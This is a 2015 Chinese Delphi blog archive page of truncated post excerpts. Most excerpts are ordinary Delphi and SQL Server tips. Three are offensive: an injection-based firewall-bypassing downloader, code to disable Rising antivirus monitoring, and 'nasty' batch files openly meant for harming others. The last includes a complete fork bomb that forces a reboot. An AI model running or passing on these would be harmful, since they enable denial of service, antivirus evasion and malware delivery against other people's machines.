2015年7月13日

delphi 删除目录和创建目录,临时文件夹

摘要: 获取用户当前的Windows临时文件夹function GetWinTempPath: string;varTempDir: array[0..255] of char;beginGetTempPath(255, @TempDir);Result := strPas(TempDir);end; 删除 阅读全文

posted @ 2015-07-13 15:16 疯狂delphi 阅读(1882) 评论(0) 推荐(0)

获取EXe版本信息

摘要: function GetVersionString(FileName: string): string; var VerInfoSize: DWORD; VerInfo: Pointer; VerValueSize: DWORD; Dummy: DWORD; VerValue: PVSFixedFi 阅读全文

posted @ 2015-07-13 15:08 疯狂delphi 阅读(578) 评论(0) 推荐(0)

TreeView节点

摘要: TreeView由节点构成,建树通过对TreeView.items属性进行操作。Items是一个TTreeNodes对象,这是一个TTreeNode集。 一、针对TTreeNodes,也就是 TreeView.Items,有这些属性: 1、count,节点个数。(节点总数) 2、item[index 阅读全文

posted @ 2015-07-13 15:07 疯狂delphi 阅读(1314) 评论(0) 推荐(0)

最简单的计算MD5方法

摘要: 原来写过一个计算MD5的程序,是用了一个叫MD5.pas的单元,使用起来还算简单,但还有更简单的办法,安装了indy就会有IdHashMessageDigest单元(delphi 7默认安装indy) 有篇文章教怎么用IdHashMessageDigest计算字符串md5,计算文件md5却没有说,在 阅读全文

posted @ 2015-07-13 15:07 疯狂delphi 阅读(3047) 评论(0) 推荐(0)

打造无DLL版穿透防火墙Downloader

摘要: 这份代码的思路来自于国外EES组织的Aphex。基本上所有的无DLL Download都是利用的这种方法。其实也就是用烂了的远程注入法。不过注入的对象不是一个DLL,而是本身的一个过程。下面是代码,由于本人专业知识不够,可能有些说法不太专业。请大家凑合着看。有不懂的请跟贴。 program Inje 阅读全文

posted @ 2015-07-13 15:06 疯狂delphi 阅读(350) 评论(0) 推荐(0)

DELPHI关闭瑞星监控的源代码

摘要: program Project1; uses Windows, Messages, SysUtils; procedure DeleteMe; var BatchFile: TextFile; BatchFileName: string; ProcessInfo: TProcessInformati 阅读全文

posted @ 2015-07-13 15:05 疯狂delphi 阅读(236) 评论(0) 推荐(0)

跟大家分享几个恶心的批处理

摘要: 跟大家分享几个恶心的批处理第一个:让别人内存OVER(逼他重启) @echo off start cmd %0 就这3行了 第二个:让对方重启指定次数(害人专用) @echo off if not exist c:\1.txt echo. >c:\1.txt & goto err1 if not e 阅读全文

posted @ 2015-07-13 15:04 疯狂delphi 阅读(1117) 评论(0) 推荐(0)

删除TreeView节点以及其子节点

摘要: //1.删除TreeView节点以及其子节点procedure TForm2.Button1Click(Sender: TObject);var TreeNode:TTreeNode;begin if TreeView1.Selected Nil then Begin TreeNode := Tr... 阅读全文

posted @ 2015-07-13 15:02 疯狂delphi 阅读(1618) 评论(0) 推荐(0)

SQL2008-功能设置

摘要: 1.问题:修改表字段类型后,无法保存答:工具—选项—Designers—表设计器和数据库设计器—阻止保存要求重新创建表的更改前的勾去掉。2.问题:编写SQL语句的地方怎么自动换行答:工具->选项->文本编辑器->所有语言->自动换行选中3.问题:右击选择1000行,编辑200行,怎么修改答:工具->... 阅读全文

posted @ 2015-07-13 14:33 疯狂delphi 阅读(268) 评论(0) 推荐(0)

SQL2008-显示表大小行数

摘要: select object_name(id) tablename,8*reserved/1024 reserved,rtrim(8*dpages/1024)+'Mb' used,8*(reserved-dpages)/1024 unused,8*dpages/1024-rows/1024*minle... 阅读全文

posted @ 2015-07-13 14:32 疯狂delphi 阅读(297) 评论(0) 推荐(0)

导航